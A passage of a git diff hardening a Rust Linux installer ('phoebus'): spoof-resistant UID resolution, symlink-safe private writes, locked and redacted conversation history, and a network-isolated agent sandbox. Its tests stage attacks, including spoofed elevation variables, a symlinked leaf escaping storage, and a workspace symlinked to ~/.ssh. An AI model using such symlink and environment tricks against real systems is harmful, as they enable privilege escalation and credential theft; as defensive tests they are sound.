["PHOEBUS_UID", "SUDO_UID", "PKEXEC_UID"] { - if let Ok(value) = std::env::var(var) { - if let Ok(uid) = value.trim().parse::() { - return uid; - } + resolve_initiating_uid(effective_uid(), |name| std::env::var(name).ok()) +} +fn resolve_initiating_uid(euid: u32, get: impl Fn(&str) -> Option) -> u32 { + // A normal process cannot claim another account through inherited variables. + if euid != 0 { + return euid; + } + for name in ["PKEXEC_UID", "SUDO_UID", "PHOEBUS_UID"] { + if let Some(uid) = get(name).and_then(|v| v.trim().parse().ok()) { + return uid; } } - effective_uid() + euid } pub fn effective_uid() -> u32 { @@ -120,15 +124,21 @@ impl Ownership { /// Chowns a freshly created path to the initiating user. Abstracted so the /// ownership logic can be tested without requiring root. pub trait OwnerFixer { - fn fix(&self, path: &Path, uid: u32, gid: u32) -> std::io::Result<()>; + fn fix(&self, file: &std::fs::File, path: &Path, uid: u32, gid: u32) -> std::io::Result<()>; } /// The production fixer: `chown(2)` via the standard library. pub struct RealOwnerFixer; impl OwnerFixer for RealOwnerFixer { - fn fix(&self, path: &Path, uid: u32, gid: u32) -> std::io::Result<()> { - std::os::unix::fs::chown(path, Some(uid), Some(gid)) + fn fix(&self, file: &std::fs::File, path: &Path, uid: u32, gid: u32) -> std::io::Result<()> { + let _ = path; + rustix::fs::fchown( + file, + Some(rustix::process::Uid::from_raw(uid)), + Some(rustix::process::Gid::from_raw(gid)), + ) + .map_err(std::io::Error::from) } } @@ -143,14 +153,17 @@ impl UserStorage { /// Storage for a specific uid. `PHOEBUS_PERSONAL_DIR` overrides everything /// (used by tests and by a caller that already resolved the user's home). pub fn for_uid(uid: u32) -> Self { - if let Ok(dir) = std::env::var("PHOEBUS_PERSONAL_DIR") { + if let Some(dir) = std::env::var("PHOEBUS_PERSONAL_DIR") + .ok() + .filter(|_| uid == effective_uid()) + { return Self { uid, base: PathBuf::from(dir), }; } - let home = home_for_uid(uid).or_else(|| std::env::var_os("HOME").map(PathBuf::from)); - let base = home.unwrap_or_else(|| PathBuf::from(format!("/tmp/phoebus-user-{uid}"))); + let base = home_for_uid(uid) + .unwrap_or_else(|| PathBuf::from("/proc/self/phoebus-unresolved-home")); Self { uid, base } } @@ -238,56 +251,25 @@ impl UserStorage { )); } - self.create_dir_chain(dir, ownership, fixer)?; - - // After creating the chain, verify the canonical directory has not - // escaped the base through a symlink. - let base = - std::fs::canonicalize(&self.base).map_err(|e| ExecError::io(self.base.clone(), e))?; - let dir_canon = - std::fs::canonicalize(dir).map_err(|e| ExecError::io(dir.to_path_buf(), e))?; - if !dir_canon.starts_with(&base) { + if ownership.uid != self.uid { return Err(ExecError::operation( "personal", "write", - "the destination directory resolves outside the user's storage (symlink?)", + "ownership does not match storage identity", )); } - - let tmp = dir.join(format!(".{}.tmp", tmp_token())); - { - let mut opts = std::fs::OpenOptions::new(); - opts.write(true).create_new(true); - #[cfg(unix)] - { - use std::os::unix::fs::OpenOptionsExt; - opts.mode(0o600); + let target = phoebus_core::TargetRoot::new(&self.base); + self.create_dir_chain(&target, dir, ownership, fixer)?; + let relative = file + .strip_prefix(&self.base) + .map_err(|_| ExecError::operation("personal", "write", "outside user storage"))?; + target.write_private_with(&relative.to_string_lossy(), bytes, |fh| { + if ownership.needs_fix() { + fixer.fix(fh, file, ownership.uid, ownership.gid) + } else { + Ok(()) } - let mut fh = opts.open(&tmp).map_err(|e| ExecError::io(tmp.clone(), e))?; - fh.write_all(bytes) - .and_then(|_| fh.flush()) - .and_then(|_| fh.sync_all()) - .map_err(|e| ExecError::io(tmp.clone(), e))?; - } - if ownership.needs_fix() { - fixer - .fix(&tmp, ownership.uid, ownership.gid) - .map_err(|e| ExecError::io(tmp.clone(), e))?; - } - std::fs::rename(&tmp, file).map_err(|e| { - let _ = std::fs::remove_file(&tmp); - ExecError::io(file.to_path_buf(), e) })?; - if ownership.needs_fix() { - // rename preserves ownership; this also repairs a pre-existing file - // that was created root-owned by an older, buggy writer. - fixer - .fix(file, ownership.uid, ownership.gid) - .map_err(|e| ExecError::io(file.to_path_buf(), e))?; - } - if let Ok(dir) = std::fs::File::open(dir) { - let _ = dir.sync_all(); - } Ok(()) } @@ -301,91 +283,50 @@ impl UserStorage { /// when this process is elevated. fn create_dir_chain( &self, + target: &phoebus_core::TargetRoot, dir: &Path, ownership: Ownership, fixer: &dyn OwnerFixer, ) -> Result<()> { - let meta = std::fs::symlink_metadata(&self.base) - .map_err(|e| ExecError::io(self.base.clone(), e))?; - if meta.file_type().is_symlink() || !meta.is_dir() { - return Err(ExecError::operation( - "personal", - "write", - "the user's home is not a real directory", - )); - } - let rel = dir.strip_prefix(&self.base).map_err(|_| { - ExecError::operation( - "personal", - "write", - "the destination is not within the user's home", - ) - })?; - let mut cur = self.base.clone(); + target.open_directory("")?; + let rel = dir + .strip_prefix(&self.base) + .map_err(|_| ExecError::operation("personal", "write", "outside user storage"))?; + let mut current = PathBuf::new(); for component in rel.components() { let Component::Normal(name) = component else { return Err(ExecError::operation( "personal", "write", - "the destination contains an unsafe path component", + "unsafe path component", )); }; - cur = cur.join(name); - match std::fs::symlink_metadata(&cur) { - Ok(meta) if meta.file_type().is_symlink() => { - return Err(ExecError::operation( - "personal", - "write", - "refusing to follow a symlink while creating user storage", - )); + current.push(name); + let relative = current.to_string_lossy(); + let fh = match target.open_directory(&relative) { + Ok(fh) => fh, + Err(phoebus_core::CoreError::Io { source, .. }) + if source.kind() == std::io::ErrorKind::NotFound => + { + target.ensure_dir_mode(&relative, 0o700)?; + target.open_directory(&relative)? } - Ok(meta) if meta.is_dir() => { - if ownership.needs_fix() { - // Repair (or confirm) ownership of an existing dir. - let _ = fixer.fix(&cur, ownership.uid, ownership.gid); - } - } - Ok(_) => { - return Err(ExecError::operation( - "personal", - "write", - "a path component of the user storage is not a directory", - )); - } - Err(e) if e.kind() == std::io::ErrorKind::NotFound => { - match std::fs::create_dir(&cur) { - Ok(()) => {} - Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {} - Err(e) => return Err(ExecError::io(cur.clone(), e)), - } - #[cfg(unix)] - { - use std::os::unix::fs::PermissionsExt; - let _ = - std::fs::set_permissions(&cur, std::fs::Permissions::from_mode(0o700)); - } - if ownership.needs_fix() { - fixer - .fix(&cur, ownership.uid, ownership.gid) - .map_err(|e| ExecError::io(cur.clone(), e))?; - } - } - Err(e) => return Err(ExecError::io(cur.clone(), e)), + Err(e) => return Err(e.into()), + }; + if current == rel { + rustix::fs::fchmod(&fh, rustix::fs::Mode::from_bits_truncate(0o700)) + .map_err(|e| ExecError::io(dir, e.into()))?; + } + if ownership.needs_fix() { + fixer + .fix(&fh, &self.base.join(¤t), ownership.uid, ownership.gid) + .map_err(|e| ExecError::io(dir, e))?; } } Ok(()) } } -fn tmp_token() -> String { - use std::time::{SystemTime, UNIX_EPOCH}; - let nanos = SystemTime::now() - .duration_since(UNIX_EPOCH) - .map(|d| d.as_nanos()) - .unwrap_or(0); - format!("{nanos}-{}", std::process::id()) -} - #[cfg(test)] mod tests { use super::*; @@ -399,7 +340,14 @@ mod tests { } impl OwnerFixer for RecordingFixer { - fn fix(&self, path: &Path, uid: u32, gid: u32) -> std::io::Result<()> { + fn fix( + &self, + file: &std::fs::File, + path: &Path, + uid: u32, + gid: u32, + ) -> std::io::Result<()> { + let _ = file; self.calls.borrow_mut().push((path.to_path_buf(), uid, gid)); Ok(()) } @@ -525,4 +473,34 @@ mod tests { let storage = UserStorage::for_uid(4242); assert_eq!(storage.uid(), 4242); } + #[test] + fn normal_identity_ignores_spoofed_elevation_variables() { + assert_eq!(resolve_initiating_uid(1000, |_| Some("0".into())), 1000); + assert_eq!( + resolve_initiating_uid(0, |name| Some( + if name == "PKEXEC_UID" { "1001" } else { "1002" }.into() + )), + 1001 + ); + } + #[test] + fn private_replacement_repairs_old_permissions_and_refuses_symlink_leaf() { + use std::os::unix::fs::PermissionsExt; + let t = tempfile::tempdir().unwrap(); + let storage = UserStorage::with_base(effective_uid(), t.path()); + let dir = storage.config_dir(); + let path = storage.config_file("x.toml"); + storage.write_private(&dir, &path, b"one").unwrap(); + std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o644)).unwrap(); + storage.write_private(&dir, &path, b"two").unwrap(); + assert_eq!( + std::fs::metadata(&path).unwrap().permissions().mode() & 0o777, + 0o600 + ); + let outside = tempfile::NamedTempFile::new().unwrap(); + std::fs::remove_file(&path).unwrap(); + std::os::unix::fs::symlink(outside.path(), &path).unwrap(); + assert!(storage.write_private(&dir, &path, b"escape").is_err()); + assert!(std::fs::read(outside.path()).unwrap().is_empty()); + } } diff --git a/installer-rs/crates/phoebus-executor/src/proactive.rs b/installer-rs/crates/phoebus-executor/src/proactive.rs index 16007e2..97f2e5e 100644 --- a/installer-rs/crates/phoebus-executor/src/proactive.rs +++ b/installer-rs/crates/phoebus-executor/src/proactive.rs @@ -421,6 +421,9 @@ mod tests { std::fs::write(&blocker, "x").unwrap(); let store = local_storage(&blocker.join("not-a-dir")); let err = dismiss(&exec, root, &store, "reboot_required").unwrap_err(); - assert!(matches!(err, ExecError::Io { .. }), "{err}"); + assert!( + matches!(err, ExecError::Io { .. } | ExecError::Core(_)), + "{err}" + ); } } diff --git a/installer-rs/crates/phoebus-executor/src/probe.rs b/installer-rs/crates/phoebus-executor/src/probe.rs index 870edcb..77ffdcf 100644 --- a/installer-rs/crates/phoebus-executor/src/probe.rs +++ b/installer-rs/crates/phoebus-executor/src/probe.rs @@ -205,7 +205,7 @@ pub fn probe_hardware(runner: &dyn ProcessRunner) -> HardwareReport { } let mut bluetooth = lspci_filter(runner, "Bluetooth"); - if let Ok(out) = std::process::Command::new("lsusb").output() { + if let Ok(out) = crate::command::capture_unleased(&mut std::process::Command::new("lsusb")) { let text = String::from_utf8_lossy(&out.stdout); for line in text .lines() diff --git a/installer-rs/crates/phoebus-executor/src/sys_runtime.rs b/installer-rs/crates/phoebus-executor/src/sys_runtime.rs index 2e03c0b..ac2656f 100644 --- a/installer-rs/crates/phoebus-executor/src/sys_runtime.rs +++ b/installer-rs/crates/phoebus-executor/src/sys_runtime.rs @@ -120,6 +120,17 @@ pub fn install_sys_to_target(exec: &Exec) -> Result { } let source_path = find_trusted_sys_binary()?; + // Userspace tools must come from the same distribution bundle, never PATH. + let bundle = source_path.parent().ok_or_else(|| { + ExecError::operation("sys_runtime", "bundle", "missing runtime bundle directory") + })?; + let companions: Vec<_> = ["phoebus-agent-run", "phoebus-mcp"] + .iter() + .map(|name| ((*name).to_string(), bundle.join(name))) + .collect(); + for (_, source) in &companions { + validate_sys_payload(source)?; + } exec.logger.info(format!( "installing sys runtime from {} to /usr/local/bin/sys in target", source_path.display() @@ -135,6 +146,10 @@ pub fn install_sys_to_target(exec: &Exec) -> Result { ) })?; + for (name, source) in companions { + target.copy_file(&format!("usr/local/bin/{name}"), &source, 0o755)?; + } + // Verify target binary exists and is executable validate_sys_payload(&dest).map_err(|e| { ExecError::operation( @@ -258,14 +273,29 @@ mod tests { let exec = make_exec(runner); let tmp = tempfile::tempdir().unwrap(); let mock_elf = create_mock_elf(tmp.path(), "sys", true); + create_mock_elf(tmp.path(), "phoebus-agent-run", true); + create_mock_elf(tmp.path(), "phoebus-mcp", true); let _env = ENV_LOCK.lock().unwrap(); let _guard = EnvGuard::set("PHOEBUS_SYS_PATH", mock_elf.as_os_str()); let installed = install_sys_to_target(&exec).unwrap(); assert!(installed.is_file()); + assert!(exec.root.join("usr/local/bin/phoebus-agent-run").is_file()); + assert!(exec.root.join("usr/local/bin/phoebus-mcp").is_file()); assert_eq!(installed, Path::new(&exec.root).join("usr/local/bin/sys")); let meta = std::fs::metadata(&installed).unwrap(); assert_ne!(meta.permissions().mode() & 0o111, 0); } + #[test] + fn missing_userspace_bundle_is_refused_before_target_copy() { + let runner = RecordingRunner::new(); + let exec = make_exec(runner); + let tmp = tempfile::tempdir().unwrap(); + let mock = create_mock_elf(tmp.path(), "sys", true); + let _env = ENV_LOCK.lock().unwrap(); + let _guard = EnvGuard::set("PHOEBUS_SYS_PATH", mock.as_os_str()); + assert!(install_sys_to_target(&exec).is_err()); + assert!(!exec.root.join("usr/local/bin/sys").exists()); + } } diff --git a/installer-rs/crates/phoebus-executor/src/system_lock.rs b/installer-rs/crates/phoebus-executor/src/system_lock.rs index 1bc5e0f..ee7ac46 100644 --- a/installer-rs/crates/phoebus-executor/src/system_lock.rs +++ b/installer-rs/crates/phoebus-executor/src/system_lock.rs @@ -10,7 +10,17 @@ use std::path::{Path, PathBuf}; pub const DEFAULT_LOCK_REL: &str = "run/phoebus/sys.lock"; #[derive(Debug)] pub struct SystemLock { - _file: File, + _file: Option, +} + +impl Drop for SystemLock { + fn drop(&mut self) { + // Even CLOEXEC descriptors briefly exist in forked children before exec. + // Wait for in-flight spawns before closing the broker's lock descriptor; + // intentional worker leases continue to own their own copies. + let _guard = crate::command::spawn_guard(); + self._file.take(); + } } #[derive(Debug, Clone, PartialEq, Eq)] @@ -47,9 +57,14 @@ pub fn lock_path(root: &Path) -> PathBuf { } impl SystemLock { pub(crate) fn worker_lease(&self) -> Result { - rustix::io::fcntl_dupfd_cloexec(&self._file, 3) - .map(File::from) - .map_err(|e| ExecError::operation("sys", "lease mutation lock", e.to_string())) + rustix::io::fcntl_dupfd_cloexec( + self._file + .as_ref() + .ok_or_else(|| ExecError::operation("sys", "lease", "lock is closed"))?, + 3, + ) + .map(File::from) + .map_err(|e| ExecError::operation("sys", "lease mutation lock", e.to_string())) } pub fn acquire(exec: &Exec, root: &Path, operation: &str) -> Result { let path = lock_path(root); @@ -91,7 +106,7 @@ impl SystemLock { .map_err(|e| ExecError::io(path, e))?; exec.logger .info(format!("acquired system lock for `{operation}`")); - Ok(Self { _file: file }) + Ok(Self { _file: Some(file) }) } } @@ -180,16 +195,18 @@ mod tests { use std::os::unix::fs::MetadataExt; let dir = tempfile::tempdir().unwrap(); let path = dir.path().join("lock"); - let mut child = std::process::Command::new(std::env::current_exe().unwrap()) - .args([ - "--exact", - "system_lock::tests::lock_child_helper", - "--nocapture", - ]) - .env("PHOEBUS_LOCK_TEST_PATH", &path) - .stdout(std::process::Stdio::piped()) - .spawn() - .unwrap(); + let mut child = crate::command::spawn_inheriting( + std::process::Command::new(std::env::current_exe().unwrap()) + .args([ + "--exact", + "system_lock::tests::lock_child_helper", + "--nocapture", + ]) + .env("PHOEBUS_LOCK_TEST_PATH", &path) + .stdout(std::process::Stdio::piped()), + &[], + ) + .unwrap(); let mut stdout = BufReader::new(child.stdout.take().unwrap()); let mut line = String::new(); loop { @@ -234,16 +251,18 @@ mod tests { fn crashing_broker_does_not_unlock_a_still_running_worker() { use std::io::{BufRead, BufReader}; let dir = tempfile::tempdir().unwrap(); - let mut broker = std::process::Command::new(std::env::current_exe().unwrap()) - .args([ - "--exact", - "system_lock::tests::lease_owner_helper", - "--nocapture", - ]) - .env("PHOEBUS_LEASE_ROOT", dir.path()) - .stdout(std::process::Stdio::piped()) - .spawn() - .unwrap(); + let mut broker = crate::command::spawn_inheriting( + std::process::Command::new(std::env::current_exe().unwrap()) + .args([ + "--exact", + "system_lock::tests::lease_owner_helper", + "--nocapture", + ]) + .env("PHOEBUS_LEASE_ROOT", dir.path()) + .stdout(std::process::Stdio::piped()), + &[], + ) + .unwrap(); let mut stdout = BufReader::new(broker.stdout.take().unwrap()); let mut line = String::new(); loop { diff --git a/installer-rs/crates/phoebus-executor/tests/isolation_acceptance.rs b/installer-rs/crates/phoebus-executor/tests/isolation_acceptance.rs index d245da9..230406e 100644 --- a/installer-rs/crates/phoebus-executor/tests/isolation_acceptance.rs +++ b/installer-rs/crates/phoebus-executor/tests/isolation_acceptance.rs @@ -57,10 +57,16 @@ print('denials passed') let original = home.join("original-workspace"); std::fs::rename(&workspace, &original).unwrap(); std::os::unix::fs::symlink(home.join(".ssh"), &workspace).unwrap(); - let out = Command::new("bwrap") - .args(&jail.argv) - .env("PHOEBUS_SYNTHETIC_CREDENTIAL", "synthetic") - .output() + let out = jail + .spawn_with( + Command::new(phoebus_executor::agent_jail::BWRAP_PATH) + .args(&jail.argv) + .env("PHOEBUS_SYNTHETIC_CREDENTIAL", "synthetic") + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()), + ) + .unwrap() + .wait_with_output() .unwrap(); assert!( out.status.success(), diff --git a/installer-rs/crates/phoebus-installer/Cargo.toml b/installer-rs/crates/phoebus-installer/Cargo.toml index 9381de3..54385c8 100644 --- a/installer-rs/crates/phoebus-installer/Cargo.toml +++ b/installer-rs/crates/phoebus-installer/Cargo.toml @@ -10,6 +10,7 @@ name = "phoebus-installer" path = "src/main.rs" [dependencies] +rustix.workspace = true phoebus-core.workspace = true phoebus-executor.workspace = true phoebus-ai.workspace = true diff --git a/installer-rs/crates/phoebus-installer/src/assistant_bridge.rs b/installer-rs/crates/phoebus-installer/src/assistant_bridge.rs index 835468e..852fda2 100644 --- a/installer-rs/crates/phoebus-installer/src/assistant_bridge.rs +++ b/installer-rs/crates/phoebus-installer/src/assistant_bridge.rs @@ -539,10 +539,12 @@ pub fn handle_request( Ok(log) => BridgeResponse::ok(id, json!(log.records)), Err(e) => BridgeResponse::err(id, e.to_string()), }, - "clear_conversation" => match conversation::clear_history(&conversation::history_path()) { - Ok(()) => BridgeResponse::ok(id, json!({ "cleared": true })), - Err(e) => BridgeResponse::err(id, e.to_string()), - }, + "clear_conversation" => { + match conversation::clear_history(&conversation::desktop_history_path()) { + Ok(()) => BridgeResponse::ok(id, json!({ "cleared": true })), + Err(e) => BridgeResponse::err(id, e.to_string()), + } + } "undo" => { let action = SystemAction::Undo { snapshot: req.snapshot, @@ -636,7 +638,7 @@ pub fn handle_request( return gpo_reference_response(exec, root, id, atom); } - let conv_path = conversation::history_path(); + let conv_path = conversation::desktop_history_path(); let history = conversation::load_history(&conv_path); let constrained_backend = req.backend.as_deref().and_then(Backend::parse); diff --git a/installer-rs/crates/phoebus-installer/src/bin/phoebus-agent-run.rs b/installer-rs/crates/phoebus-installer/src/bin/phoebus-agent-run.rs index 70bb7c8..6f7f794 100644 --- a/installer-rs/crates/phoebus-installer/src/bin/phoebus-agent-run.rs +++ b/installer-rs/crates/phoebus-installer/src/bin/phoebus-agent-run.rs @@ -9,13 +9,13 @@ //! are masked with private empty tmpfs mounts. //! - Core system paths (/usr, /lib, /etc, /nix) are mounted strictly read-only. //! - The chosen workspace is writable and set as the current working directory. -//! - Optional --offline mode unshares the network namespace for local model reasoning. +//! - Networking is isolated by default; --network explicitly shares host networking. use std::path::PathBuf; use std::process::ExitCode; use clap::Parser; -use phoebus_executor::agent_jail::{build_jail_argv, is_bwrap_available, AgentJailConfig}; +use phoebus_executor::agent_jail::{is_bwrap_available, AgentJailConfig}; #[derive(Parser, Debug)] #[command( @@ -28,7 +28,15 @@ struct Cli { #[arg(long, short = 'w', default_value = ".")] workspace: PathBuf, - /// Disallow external network access (offline mode). + /// Explicit read-only directories containing user-installed agent tools. No home-wide grant. + #[arg(long = "tool-dir")] + tool_dirs: Vec, + + /// Allow shared networking, including access to host loopback services. + #[arg(long, conflicts_with = "offline")] + network: bool, + + /// Explicitly retain the default isolated network namespace. #[arg(long)] offline: bool, @@ -57,7 +65,7 @@ fn main() -> ExitCode { if !is_bwrap_available() { eprintln!( - "phoebus-agent-run: error: bwrap (Bubblewrap) is not available in PATH.\n\ + "phoebus-agent-run: error: /usr/bin/bwrap (Bubblewrap) is not available.\n\ Refusing to run the agent unconfined." ); return ExitCode::FAILURE; @@ -87,7 +95,7 @@ fn main() -> ExitCode { let config = AgentJailConfig { workspace: canonical_ws, - allow_network: !cli.offline, + allow_network: cli.network, allow_nix_store: !cli.no_nix, extra_masked_subdirs: cli.extra_masks, }; @@ -96,7 +104,25 @@ fn main() -> ExitCode { eprintln!("phoebus-agent-run: developer agents must run as an unprivileged user"); return ExitCode::FAILURE; } - let argv = match build_jail_argv(&config, &home, &cli.program, &cli.args) { + let tool_dirs: Vec<_> = match cli + .tool_dirs + .iter() + .map(|p| p.canonicalize()) + .collect::>>() + { + Ok(paths) => paths, + Err(e) => { + eprintln!("phoebus-agent-run: cannot resolve tool directory: {e}"); + return ExitCode::FAILURE; + } + }; + let argv = match phoebus_executor::agent_jail::build_jail_argv_with_tools( + &config, + &home, + &cli.program, + &cli.args, + &tool_dirs, + ) { Ok(args) => args, Err(e) => { eprintln!("phoebus-agent-run: {e}"); @@ -109,17 +135,24 @@ fn main() -> ExitCode { return ExitCode::SUCCESS; } - let jail = - match phoebus_executor::agent_jail::prepare_jail(&config, &home, &cli.program, &cli.args) { - Ok(jail) => jail, - Err(e) => { - eprintln!("phoebus-agent-run: {e}"); - return ExitCode::FAILURE; - } - }; - let status = std::process::Command::new("bwrap") - .args(&jail.argv) - .status(); + let jail = match phoebus_executor::agent_jail::prepare_jail_with_tools( + &config, + &home, + &cli.program, + &cli.args, + &tool_dirs, + ) { + Ok(jail) => jail, + Err(e) => { + eprintln!("phoebus-agent-run: {e}"); + return ExitCode::FAILURE; + } + }; + let status = jail + .spawn_with( + std::process::Command::new(phoebus_executor::agent_jail::BWRAP_PATH).args(&jail.argv), + ) + .and_then(|mut child| child.wait()); match status { Ok(s) => { diff --git a/installer-rs/crates/phoebus-installer/src/conversation.rs b/installer-rs/crates/phoebus-installer/src/conversation.rs index 4e572d5..82b5609 100644 --- a/installer-rs/crates/phoebus-installer/src/conversation.rs +++ b/installer-rs/crates/phoebus-installer/src/conversation.rs @@ -14,12 +14,11 @@ //! History is kept in a 0600 file inside a 0700 directory, written atomically, //! and can be cleared without leaving the follow-up context behind. -use std::io::Write; use std::path::{Path, PathBuf}; use std::time::{SystemTime, UNIX_EPOCH}; use phoebus_core::selection::{Backend, Candidate, Rejected}; -use phoebus_core::Redactor; +use phoebus_core::{Redactor, TargetRoot}; use serde::{Deserialize, Serialize}; const MAX_TURNS: usize = 10; @@ -78,29 +77,80 @@ fn now_unix() -> u64 { } pub fn history_path() -> PathBuf { - if let Ok(dir) = std::env::var("PHOEBUS_CONVERSATION_DIR") { - return PathBuf::from(dir).join("conversation.json"); + let uid = phoebus_executor::personal::initiating_uid(); + if uid == phoebus_executor::personal::effective_uid() { + if let Some(dir) = std::env::var_os("PHOEBUS_CONVERSATION_DIR") + .map(PathBuf::from) + .filter(|p| p.is_absolute()) + { + return dir.join("conversation.json"); + } + if let Some(dir) = std::env::var_os("XDG_DATA_HOME") + .map(PathBuf::from) + .filter(|p| p.is_absolute()) + { + return dir.join("phoebus/conversation.json"); + } } - if let Ok(user_dir) = std::env::var("XDG_DATA_HOME") { - return PathBuf::from(user_dir) - .join("phoebus") - .join("conversation.json"); - } - if let Ok(home) = std::env::var("HOME") { - return PathBuf::from(home).join(".local/share/phoebus/conversation.json"); - } - std::env::temp_dir().join("phoebus-conversation.json") + phoebus_executor::personal::home_for_uid(uid) + .map(|home| home.join(".local/share/phoebus/conversation.json")) + // No common /tmp file, and no writable fallback for an unknown account. + .unwrap_or_else(|| PathBuf::from("/proc/self/phoebus-unresolved-home/conversation.json")) } - -pub fn load_history(path: &Path) -> ConversationHistory { - if !path.is_file() { - return ConversationHistory::default(); +/// Desktop context is separate from CLI follow-ups so a confirmation cannot +/// accidentally refer to an unseen turn from a different front end. +pub fn desktop_history_path() -> PathBuf { + history_path().with_file_name("desktop-conversation.json") +} +const MAX_HISTORY_BYTES: usize = 1024 * 1024; +fn authorize_history_write() -> std::io::Result<()> { + if phoebus_executor::personal::initiating_uid() != phoebus_executor::personal::effective_uid() { + return Err(std::io::Error::new( + std::io::ErrorKind::PermissionDenied, + "conversation changes must run as the initiating user", + )); } - let data = match std::fs::read_to_string(path) { - Ok(d) => d, - Err(_) => return ConversationHistory::default(), + Ok(()) +} +fn store(path: &Path, create: bool) -> std::io::Result<(TargetRoot, String)> { + let parent = path + .parent() + .filter(|p| p.is_absolute()) + .ok_or_else(|| std::io::Error::other("conversation path must be absolute"))?; + let name = path + .file_name() + .and_then(|p| p.to_str()) + .ok_or_else(|| std::io::Error::other("invalid conversation file name"))?; + let root = TargetRoot::new(parent); + if create { + root.ensure_dir_mode("", 0o700) + .map_err(std::io::Error::other)?; + } + Ok((root, name.to_string())) +} +pub fn load_history(path: &Path) -> ConversationHistory { + let Ok((root, name)) = store(path, false) else { + return ConversationHistory::default(); }; - serde_json::from_str(&data).unwrap_or_default() + load_from_store(&root, &name) +} +fn load_from_store(root: &TargetRoot, name: &str) -> ConversationHistory { + let Ok(data) = root.read_to_string_bounded(name, MAX_HISTORY_BYTES) else { + return ConversationHistory::default(); + }; + let mut history: ConversationHistory = serde_json::from_str(&data).unwrap_or_default(); + if history.turns.len() > MAX_TURNS { + history.turns.drain(0..history.turns.len() - MAX_TURNS); + } + history +} +fn history_lock(root: &TargetRoot, name: &str) -> std::io::Result { + let file = root + .open_lock_file(&format!(".{name}.lock")) + .map_err(std::io::Error::other)?; + rustix::fs::flock(&file, rustix::fs::FlockOperation::LockExclusive) + .map_err(std::io::Error::from)?; + Ok(file) } /// Bound a piece of free text: collapse whitespace, drop control characters @@ -128,7 +178,10 @@ pub fn save_turn( redactor: &Redactor, mut turn: ConversationTurn, ) -> std::io::Result<()> { - let mut history = load_history(path); + authorize_history_write()?; + let (root, name) = store(path, true)?; + let _lock = history_lock(&root, &name)?; + let mut history = load_from_store(&root, &name); turn.query = minimize(redactor, &turn.query); turn.rationale = turn .rationale @@ -144,47 +197,58 @@ pub fn save_turn( history.turns.drain(0..history.turns.len() - MAX_TURNS); } - if let Some(parent) = path.parent() { - std::fs::create_dir_all(parent)?; - #[cfg(unix)] - { - use std::os::unix::fs::PermissionsExt; - let _ = std::fs::set_permissions(parent, std::fs::Permissions::from_mode(0o700)); + // Minimize every nested free-text field, including candidate metadata and + // rejected alternatives, rather than only the top-level summary. + fn scrub(value: &mut serde_json::Value, redactor: &Redactor) { + match value { + serde_json::Value::String(s) => *s = minimize(redactor, s), + serde_json::Value::Array(a) => { + a.truncate(16); + for v in a { + scrub(v, redactor); + } + } + serde_json::Value::Object(o) => { + for v in o.values_mut() { + scrub(v, redactor); + } + } + _ => {} } } - let serialized = serde_json::to_string_pretty(&history) - .map_err(|e| std::io::Error::new(std::io::ErrorKind::InvalidData, e))?; - atomic_write_private(path, serialized.as_bytes()) -} - -/// Delete the persisted history so it can no longer inform a later follow-up. -pub fn clear_history(path: &Path) -> std::io::Result<()> { - match std::fs::remove_file(path) { - Ok(()) => Ok(()), - Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()), - Err(e) => Err(e), + let mut value = serde_json::to_value(history).map_err(std::io::Error::other)?; + scrub(&mut value, redactor); + // Redacting an enum into an invalid value is a refusal, never a raw fallback. + serde_json::from_value::(value.clone()).map_err(std::io::Error::other)?; + let serialized = serde_json::to_vec(&value).map_err(std::io::Error::other)?; + if serialized.len() > MAX_HISTORY_BYTES { + return Err(std::io::Error::other("conversation exceeds size limit")); } -} - -fn atomic_write_private(path: &Path, bytes: &[u8]) -> std::io::Result<()> { - let tmp = path.with_extension("tmp"); - { - let mut opts = std::fs::OpenOptions::new(); - opts.write(true).create(true).truncate(true); - #[cfg(unix)] - { - use std::os::unix::fs::OpenOptionsExt; - opts.mode(0o600); - } - let mut file = opts.open(&tmp)?; - file.write_all(bytes)?; - file.flush()?; - file.sync_all()?; - } - std::fs::rename(&tmp, path)?; + root.write_private(&name, serialized) + .map_err(std::io::Error::other)?; Ok(()) } +/// Serialize clearing against concurrent updates; atomic publication uses no +/// predictable temporary filename and never follows a planted symlink. +pub fn clear_history(path: &Path) -> std::io::Result<()> { + authorize_history_write()?; + if !path.parent().is_some_and(Path::exists) { + return Ok(()); + } + let (root, name) = store(path, false)?; + let _lock = history_lock(&root, &name)?; + match root.remove_file(&name) { + Ok(()) => Ok(()), + Err(phoebus_core::CoreError::Io { source, .. }) + if source.kind() == std::io::ErrorKind::NotFound => + { + Ok(()) + } + Err(e) => Err(std::io::Error::other(e)), + } +} + fn backend_from_word(word: &str) -> Option { match word { "flatpak" => Some(Backend::Flatpak), @@ -295,7 +359,9 @@ pub fn parse_explicit_install(query: &str) -> Option<(String, Option)> pub fn resolve_followup(query: &str, history: &ConversationHistory) -> Option { let last = history.turns.last()?; let now = now_unix(); - if now.saturating_sub(last.timestamp_unix) > FOLLOWUP_WINDOW_SECONDS { + if last.timestamp_unix > now.saturating_add(30) + || now.saturating_sub(last.timestamp_unix) > FOLLOWUP_WINDOW_SECONDS + { return None; } @@ -343,20 +409,6 @@ pub fn resolve_followup(query: &str, history: &ConversationHistory) -> Option Option ConversationTurn { + ConversationTurn { + timestamp_unix: now_unix(), + query: "install firefox".into(), + response_kind: "install".into(), + application: Some("firefox".into()), + chosen_candidate: Some(make_test_candidate(Backend::Flatpak)), + alternatives: vec![], + plan_id: Some("plan-reviewed".into()), + plan_digest: Some("digest".into()), + rationale: vec![], + } + } + #[test] + fn nested_candidate_secrets_are_redacted_and_future_context_refused() { + let t = tempdir().unwrap(); + let path = t.path().join("conversation.json"); + let redactor = Redactor::new(); + redactor.register_plain("synthetic-secret"); + let mut turn = fixture_turn(); + turn.chosen_candidate.as_mut().unwrap().id = "candidate-synthetic-secret".into(); + save_turn(&path, &redactor, turn).unwrap(); + assert!(!std::fs::read_to_string(&path) + .unwrap() + .contains("synthetic-secret")); + let mut history = load_history(&path); + history.turns[0].timestamp_unix = now_unix() + 3600; + assert!(resolve_followup("proceed", &history).is_none()); + history.turns[0].timestamp_unix = now_unix(); + assert!(matches!( + resolve_followup("why use flatpak instead?", &history), + Some(FollowupResolution::Comparison { .. }) + )); + assert!(resolve_followup("do not use flatpak", &history).is_none()); + } + #[test] + fn concurrent_history_updates_are_not_lost() { + let t = 